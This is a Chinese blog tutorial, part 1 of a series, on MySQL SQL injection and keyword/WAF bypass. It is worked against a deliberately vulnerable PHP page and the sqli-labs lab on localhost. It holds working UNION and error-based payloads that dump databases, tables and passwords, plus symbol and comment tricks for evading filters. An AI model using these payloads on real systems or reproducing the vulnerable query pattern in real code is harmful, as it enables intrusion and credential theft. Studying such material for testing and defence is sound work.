SQL注入及bypass思路(1)


前言

tip固然有用,但是掌握通用方法才能在特殊環境下柳暗花明,舉一反三

整篇博客從MYSQL_SQL_BYPASS_WIKI為基礎出發,討論SQL注入和bypass技巧思路(大部分都是直接照搬的hhh)

MySQL數據庫簡單操作

建立數據庫

mysql> create database sqlvul;
Query OK, 1 row affected (0.00 sec)

查詢所有數據庫

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| autumnwater        |
| dedecmsv57utf8sp2  |
| miku_cms           |
| my_demo            |
| mysql              |
| performance_schema |
| qqfishing          |
| sqlvul             |
| szhescan           |
| test               |
+--------------------+
11 rows in set (0.00 sec)

紅框中是我們剛才創建的

使用數據庫sqlvul 新建一個user

mysql> use sqlvul;
Database changed
mysql> create table user (id int,username varchar(255),password varchar(255));
Query OK, 0 rows affected (0.04 sec)

查看數據庫表

mysql> show tables;
+------------------+
| Tables_in_sqlvul |
+------------------+
| user             |
+------------------+
1 row in set (0.00 sec)

查看數據庫表結構

mysql> desc user;
+----------+--------------+------+-----+---------+-------+
| Field    | Type         | Null | Key | Default | Extra |
+----------+--------------+------+-----+---------+-------+
| id       | int(11)      | YES  |     | NULL    |       |
| username | varchar(255) | YES  |     | NULL    |       |
| password | varchar(255) | YES  |     | NULL    |       |
+----------+--------------+------+-----+---------+-------+
3 rows in set (0.01 sec)

插入數據

mysql> insert into user (id,username,password) values (1,"admin","admin");
Query OK, 1 row affected (0.00 sec)

查詢user表數據

mysql> select * from user;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | admin    |
+------+----------+----------+
1 row in set (0.00 sec)

where條件查詢

mysql> select * from user where id=1;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | admin    |
+------+----------+----------+
1 row in set (0.00 sec)

有了這些基礎知識並進行手動操作后,我們可以先在本地搭建一個擁有上述數據庫的漏洞環境,漏洞代碼test.php

<?php
	if($_GET['id']){
		$id= $_GET['id'];
		$conn = mysql_connect('127.0.0.1','root','root');
		mysql_select_db('sqlvul',$conn);
		$sql = "select * from user where id=$id";
		$result = mysql_query($sql);
		while($row = mysql_fetch_array($result)){
			echo "id: ".$row['id']."</br>";
			echo "username: ".$row['username']."</br>";
			echo "password: ".$row['password']."</br>";
		}
		mysql_close($conn);
		echo "</br>"."sql :".$sql;
	}else{
		echo "id,get,懂?";
	}
	
?>

這樣一個簡單的漏洞環境就搭建好了

http://127.0.0.1/test.php?id=1

默認表名解讀

之前某公司的面試題里有:

mysql5以上和以下有什么區別?

其中一個明顯區別就是information_schema

這個表(視圖)是在MySQL5以后的才有的,現在MySQL4應該是很少了,所以后面的例子都圍繞着MySQL5來講解,information_schema是用於存儲數據庫元數據的表,它保存了數據庫名,表名,列名等信息,讓我們從爆破表名到了可以直接查詢。

這里打住一下,如果不存在該表或者該表被禁用,我們可以使用布爾注入或者時間盲注來爆破表名

我們查詢information_schema

mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema          |
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| KEY_COLUMN_USAGE                      |
| PARAMETERS                            |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
| INNODB_BUFFER_PAGE                    |
| INNODB_TRX                            |
| INNODB_BUFFER_POOL_STATS              |
| INNODB_LOCK_WAITS                     |
| INNODB_CMPMEM                         |
| INNODB_CMP                            |
| INNODB_LOCKS                          |
| INNODB_CMPMEM_RESET                   |
| INNODB_CMP_RESET                      |
| INNODB_BUFFER_PAGE_LRU                |
+---------------------------------------+
40 rows in set (0.00 sec)

我們經常用到的幾個表:

  • schemata表:提供了當前mysql實例中所有數據庫的信息
  • tables表:提供了關於數據庫中的表的信息
  • columns表:提供了表中的列信息

schemata

mysql> select * from information_schema.schemata;
+--------------+--------------------+----------------------------+------------------------+----------+
| CATALOG_NAME | SCHEMA_NAME        | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH |
+--------------+--------------------+----------------------------+------------------------+----------+
| def          | information_schema | utf8                       | utf8_general_ci        | NULL     |
| def          | autumnwater        | utf8                       | utf8_general_ci        | NULL     |
| def          | dedecmsv57utf8sp2  | utf8                       | utf8_general_ci        | NULL     |
| def          | miku_cms           | utf8                       | utf8_general_ci        | NULL     |
| def          | my_demo            | utf8                       | utf8_general_ci        | NULL     |
| def          | mysql              | utf8                       | utf8_general_ci        | NULL     |
| def          | performance_schema | utf8                       | utf8_general_ci        | NULL     |
| def          | qqfishing          | utf8                       | utf8_general_ci        | NULL     |
| def          | sqlvul             | utf8                       | utf8_general_ci        | NULL     |
| def          | szhescan           | utf8                       | utf8_general_ci        | NULL     |
| def          | test               | latin1                     | latin1_swedish_ci      | NULL     |
+--------------+--------------------+----------------------------+------------------------+----------+
11 rows in set (0.00 sec)

tables (太多了只截了一部分

mysql> select table_name from information_schema.tables;
+----------------------------------------------+
| table_name                                   |
+----------------------------------------------+
| CHARACTER_SETS                               |
| COLLATIONS                                   |
| COLLATION_CHARACTER_SET_APPLICABILITY        |
| COLUMNS                                      |
| COLUMN_PRIVILEGES                            |
| ENGINES                                      |
| EVENTS                                       |
| FILES                                        |
| GLOBAL_STATUS                                |
| GLOBAL_VARIABLES                             |
| KEY_COLUMN_USAGE                             |
| PARAMETERS                                   |
| PARTITIONS                                   |
| PLUGINS                                      |
| PROCESSLIST                                  |
| PROFILING                                    |
| REFERENTIAL_CONSTRAINTS                      |
| ROUTINES                                     |
| SCHEMATA                                     |
| SCHEMA_PRIVILEGES                            |
| SESSION_STATUS                               |
| SESSION_VARIABLES                            |
| STATISTICS                                   |
| TABLES                                       |
| TABLESPACES                                  |
| TABLE_CONSTRAINTS                            |
| TABLE_PRIVILEGES                             |
| TRIGGERS                                     |
| USER_PRIVILEGES                              |
| VIEWS                                        |

columns (太多了只截了一部分

mysql> select column_name from information_schema.columns;
+----------------------------------+
| column_name                      |
+----------------------------------+
| CHARACTER_SET_NAME               |
| DEFAULT_COLLATE_NAME             |
| DESCRIPTION                      |
| MAXLEN                           |
| COLLATION_NAME                   |
| CHARACTER_SET_NAME               |
| ID                               |
| IS_DEFAULT                       |
| IS_COMPILED                      |
| SORTLEN                          |
| COLLATION_NAME                   |
| CHARACTER_SET_NAME               |
| TABLE_CATALOG                    |
| TABLE_SCHEMA                     |
| TABLE_NAME                       |
| COLUMN_NAME                      |

我們前面說過information_schema儲存的是所有數據庫的信息,假如我的數據庫 mysqltest1 mysqltest2 都存在admin表的話 它都會顯示出來

mysql> select column_name from information_schema.columns where table_name=0x61646D696E;
+-------------+
| column_name |
+-------------+
| id          |
| username    |
| password    |
| id          |
| user        |
| pass        |
+-------------+
6 rows in set (0.00 sec)

所以要指定數據庫

mysql> select column_name from information_schema.columns where table_name=0x61646D696E and table_schema=0x6D7973716C74657374;
+-------------+
| column_name |
+-------------+
| id          |
| username    |
| password    |
+-------------+
3 rows in set (0.00 sec)

user表保存的用戶賬號密碼

mysql> select username,password from sqlvul.user;
+----------+----------+
| username | password |
+----------+----------+
| admin    | admin    |
+----------+----------+
1 row in set (0.00 sec)

特殊符號

mysql中數據一般用一些符號包裹起來,如:

mysql> select * from user where id=1;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | admin    |
+------+----------+----------+
1 row in set (0.00 sec)

mysql> select * from user where id='1';
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | admin    |
+------+----------+----------+
1 row in set (0.00 sec)

常用到的特殊符號有:

''
""
()
{}
\
\\
``
%

每個符號都是我們后期用來bypass的有利鋪墊,例如

mysql> select * from `user`;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | admin    |
+------+----------+----------+
1 row in set (0.07 sec)

注釋符號

mysql中的注釋符號

#
/**/ /*/**/ 這樣是等效於 /**/
-- + 用這個符號注意是--空格任意字符
;%00
`
/*!*/ 內列注釋為什么放在這里呢,因為它也可以當作一個空格 /*!/*!*/是等效於/*!*/的

操作符與邏輯操作符

取自官方文檔 排列在同一行的操作符具有相同的優先級

:=
||,OR,XOR
&&,AND
NOT
BETWEEN,CASE,WHEN,THEN,ELSE
=,<=>,>=,><=,<,<>,!=,IS,LIKE,REGEXP,IN
|
&
<<,>>
-,+
*, /, DIV, %, MOD
^
- (一元減號), ~ (一元比特反轉)
!
BINARY, COLLATE

注入產生的原因

  • 程序在開發的時候沒有對用戶的數據過濾,把用戶的數據都當作可信數據
  • 考慮到用戶可能的危險輸入並進行了過濾,但是過濾不嚴格
  • 數據庫配置不當,例如字符編碼不一致導致的寬字節注入
  • 轉義不當

注入的類型

常見的注入我們可以歸納為數字型,字符型,搜索型,盲注等

select * from user where id=$id;//數字型注入
select * from user where id='$id';//字符型注入
select * from user where id="$id";
select * from user where id = ($id);
select * from user where id = ('$id');
select * from user where id = ("$id");
select * from user where username  like '%adm%';
select * from user where username  like ('%adm%');
select * from user where id = $id limit 0,1;
select * from user order by $id;
select * from user order by limit 0,1 $id;
select * from user order by id limit 1,1 $id;
insert注入
update注入
delete注入
二次注入 
等等

實際環境中我們可能還會遇到更為復雜的sql注入語句,我們就要想辦法閉合它們。

尋找注入的一些注意

  • 如何尋找注入是一門藝術
  • 黑盒測試建立在對每個參數的fuzz上
  • 適當學習開發對於發現漏洞更有幫助
  • 涉及到用戶交換數據的地方都將是注入的重災區
  • 當網站為成熟的cms框架時不建議直接黑盒注入,通殺0day往往是在白盒審計下找到的,當然知道cms版本的情況下更好的方法是直接搜索漏洞
  • 不知名系統,目標不是很重要,自己開發的系統,可以嘗試使用AWVS等掃描工具
  • 信息搜集的重要性不必多說,無論是github代碼監控還是敏感備份文件掃描發現都可能帶給我們意外之喜

版本收集與路徑

識別數據庫版本有助於我們進一步對數據庫進行注入

可以用到

version()
@@version
/*!版本號*/

/*!*/意為在xxx版本之上執行

union操作符用於連接兩個以上的select語句的結果並將其組合到一個結果集合中,多個select語句會刪除掉重復的語句

mysql> select * from user where id=1 union select 1,version(),3;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | admin    |
|    1 | 5.5.53   | 3        |
+------+----------+----------+
2 rows in set (0.09 sec)

mysql> select * from user where id=1 union select 1,@@version,3;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | admin    |
|    1 | 5.5.53   | 3        |
+------+----------+----------+
2 rows in set (0.02 sec)

mysql> select * from user where id=1 union select 1,/*!50000 user()*/,3;
+------+----------------+----------+
| id   | username       | password |
+------+----------------+----------+
|    1 | admin          | admin    |
|    1 | root@localhost | 3        |
+------+----------------+----------+
2 rows in set (0.02 sec)

路徑的話一般用@@datadir,根據日常規律大概反猜下網站路徑

操作系統@@version_compile_os

用戶與鏈接信息

system_user() //系統用戶名

user() //用戶名

current_user()//當前用戶名

session_user()//鏈接數據庫的用戶名

mysql> select * from user where id=1 union select system_user(),user(),current_user();
+----------------+----------------+----------------+
| id             | username       | password       |
+----------------+----------------+----------------+
| 1              | admin          | admin          |
| root@localhost | root@localhost | root@localhost |
+----------------+----------------+----------------+
2 rows in set (0.01 sec)

mysql> select * from user where id=1 union select session_user(),2,3;
+----------------+----------+----------+
| id             | username | password |
+----------------+----------+----------+
| 1              | admin    | admin    |
| root@localhost | 2        | 3        |
+----------------+----------+----------+
2 rows in set (0.00 sec)

讀取host 和 user

mysql> select * from user where id=1 union select 1,host,user from mysql.user;
+------+-----------+----------+
| id   | username  | password |
+------+-----------+----------+
|    1 | admin     | admin    |
|    1 | 127.0.0.1 | root     |
|    1 | ::1       | root     |
|    1 | localhost | root     |
+------+-----------+----------+
4 rows in set (0.07 sec)

通過以上信息還能大概判斷下是不是站庫分離之類的

站庫分離

web應用與數據庫不在同一台服務器上

初識注入bypass

推薦使用sqli-labs來進行注入練手,手工注入是基礎,切勿浮沙築高台

直接使用and 1=1一類的多屬於數字型注入

mysql> select * from user where id=1 and 1=1;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | admin    |
+------+----------+----------+
1 row in set (0.01 sec)

mysql> select * from user where id=1 and 1=2;
Empty set (0.00 sec)

被引號包裹起來就不行了

mysql> select * from user where username='admin and 1=1';
Empty set (0.01 sec)

mysql> select * from user where username='admin';
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | admin    |
+------+----------+----------+
1 row in set (0.00 sec)

需要通過分析報錯的語句來進行判斷和閉合

第一個注入

and是一個邏輯符號,要求兩邊同時成立,所以and 這邊是什么可以盡情發揮大家的才能,比如 and true=1

為什么要這么寫,因為某狗判斷的就是 and 這邊的字符類型,大家可以去了解mysql的隱式轉化

mysql> select * from user where id='1' and 1=1;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | admin    |
+------+----------+----------+
1 row in set (0.00 sec)

mysql> select * from user where id='1' and 1=2;
Empty set (0.00 sec)

sqli-labs第一關

看到報錯語句

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

其中關鍵部分為:

right syntax to use near ''1'' LIMIT 0,1' at line 1

最外層是它出錯給你的字符串,所以為:

'1'' LIMIT 0,1

我們的payload?id=1'

應該是單引號沒閉合所以造成了出錯,同時知道它語句后面有個LIMIT 0,1

所以反推后端查詢語句大概為

select x,x from xxx where x='$id' limit 0,1

在看到報錯信息的時候我們應該要能夠反推它的語句,有利於我們進一步注入,接下來進行聯合注入

使用order by判斷它的列數,因為order by是根據列來排序的,排序第幾列

關於 order by排序

因為原文中沒有太仔細說這個地方,為了讀者方便理解,專門說一下

菜鳥教程關於order by子句進行排序的時候,使用的是該列的關鍵字

mysql> SELECT * from runoob_tbl ORDER BY submission_date ASC;
+-----------+---------------+---------------+-----------------+
| runoob_id | runoob_title  | runoob_author | submission_date |
+-----------+---------------+---------------+-----------------+
| 3         | 學習 Java   | RUNOOB.COM    | 2015-05-01      |
| 4         | 學習 Python | RUNOOB.COM    | 2016-03-06      |
| 1         | 學習 PHP    | 菜鳥教程  | 2017-04-12      |
| 2         | 學習 MySQL  | 菜鳥教程  | 2017-04-12      |
+-----------+---------------+---------------+-----------------+
4 rows in set (0.01 sec)

這里是按照submission_date 列的升序排列

當然我們也可以不使用列名,直接使用該列在表中的列數,如submission_date對應的就是第4列

SELECT * from runoob_tbl ORDER BY 4 ASC;

如果沒有這一列的話使用order by語句就會報錯,由此來判斷數據庫中的列數,進一步注入

mysql> select * from user order by 3;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | admin    |
+------+----------+----------+
1 row in set (0.00 sec)

mysql> select * from user order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'

回到sqli-labs第一關

http://127.0.0.1/sqli/Less-1/?id=-2' union select 1,schema_name,3 from information_schema.schemata limit 2,1 -- +

通過limit 0,1來控制前端的顯位的數據(從第0條取一條)

如果是過濾逗號,想用分頁可以使用 1 offset 1,意思是從第一條開始選一條

當然還有 join 分頁

mysql> select * from user union select 1,schema_name,3 from information_schema.schemata limit 1,1;
+------+--------------------+----------+
| id   | username           | password |
+------+--------------------+----------+
|    1 | information_schema | 3        |
+------+--------------------+----------+
1 row in set (0.01 sec)

mysql> select * from user union select 1,schema_name,3 from information_schema.schemata limit 1 offset 1;
+------+--------------------+----------+
| id   | username           | password |
+------+--------------------+----------+
|    1 | information_schema | 3        |
+------+--------------------+----------+
1 row in set (0.00 sec)

sqli-labspayload

http://127.0.0.1/sqli/Less-1/?id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- +

如果想要直接爆當前庫的表,不妨寫

table_schema=database()

為了避免單引號你也可以使用hex后的數據

table_schema=0x7365637572697479

使用group_concat()函數把表名都聚合起來,更加方便

http://127.0.0.1/sqli/Less-1/?id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 -- +

爆出字段

http://127.0.0.1/sqli/Less-1/?id=-2' union select 1,group_concat(username,0x7C,password),3 from users-- +

如果group_concat()被過濾,我們可以使用其他類似的函數來進行替換,可以查閱mysql函數表

當我們使用information_schema.schemata被攔截時,我們可以使用前面提到的符號們組合繞過

`information_schema`.`schemata`
information_schema/**/.schemata
information_schema/*!*/.schemata
information_schema%0a.schemata

也有人遇到過這種情況 users表被攔截 怎么繞過呢,其實也一樣

security.users 數據庫名 加表名
security.`users`

報錯注入

報錯注入在我們不能聯合注入的時候也是非常重要的,網上給我們提供了很多種報錯注入,這里直接引用

https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

一文了

1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));

每個報錯語句都有它的原理,比如exp()報錯的原理,手冊說到exp()時一個數學函數,取e的x次方,當我們輸入的值大於709就會報錯,然后~取反它的值總會大於709所以報錯

exp()函數報錯原理

可以參考王嘆之師傅的這篇文章

簡單說明一下

mysql> select exp(709);
+-----------------------+
| exp(709)              |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

超過709就會報錯

接下來有兩個重點:

  • 將0按位取反就會返回18446744073709551615,得到最大的無符號BIGINT值
  • 函數成功執行后返回0
mysql> select ~(select user());
+----------------------+
| ~(select user())     |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

所以出現了上述的執行結果

接着來解釋一下payload exp(~(select * from(select user())a))

  • 先查詢 select user() 這里面的語句,將這里面查詢出來的數據作為一個結果集 取名為 a
  • 然后 再 select * from a 查詢a ,將 結果集a 全部查詢出來,這里必須使用嵌套,因為不使用嵌套,不加select * from 無法大整數溢出

簡單的用報錯語句來注入一下,這里使用函數updatexml()

updatexml (XML_document, XPath_string, new_value); 
XML_document: 是String格式,為XML文檔對象的名稱,文中為Doc 
XPath_string : Xpath
new_value :String格式,替換查找到的符合條件的數據 

其中關鍵點就是XPath_string這里,因為我們傳入的不是XPath_string,而是我們想要獲取到的數據。

為什么要用到concat這個函數,因為它時一個連接函數,可以不用,例如(updatexml(1,(select user()),1)),但是需要字符中有特殊字符才會報錯,同時它會被中間的特殊字符截斷,所以需要用到concat將它連接起來

updatexml報錯原理

可以參考上面的王嘆之師傅的文章

簡單來說是由於參數的格式不正確而產生的錯誤,同樣也會返回參數的信息

例如payload updatexml(1,concat(0x7e,(select user()),0x7e),1)

這里的~符號也就是0x7e,也是我們前面所提到的報錯的特殊字符

sqli-labs第一關報錯payload

爆庫:
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (schema_name),0x7e) FROM information_schema.schemata limit 2,1),1) -- +

爆表:
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +

爆字段:
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +

爆數據:
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, password,0x7e) from users limit 1,1),1) -- +

在報錯里面直接使用mysql最基本的查表即可,也可以將concat放在外面

updatexml(1,concat(0x7e, (select password from user limit 1,1),0x7e),1)

因為使用了concat連接函數,所以只能爆出32位數據,其中有一位還是0x7e,即引發報錯的字符,實際上出現的密碼只有31位

mysql> select updatexml(1,concat(0x7e,(select md5(password) from user),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~21232f297a57a5a743894a0e4a801fc'

可以自行使用分割函數將數據分割出來

substr(string string,num start,num length);
string為字符串
start為起始位置
length為長度
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e, substr((select md5(password) from users limit 1,1),1,16),0x7e),1) -- +

下回繼續分解

參考鏈接


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM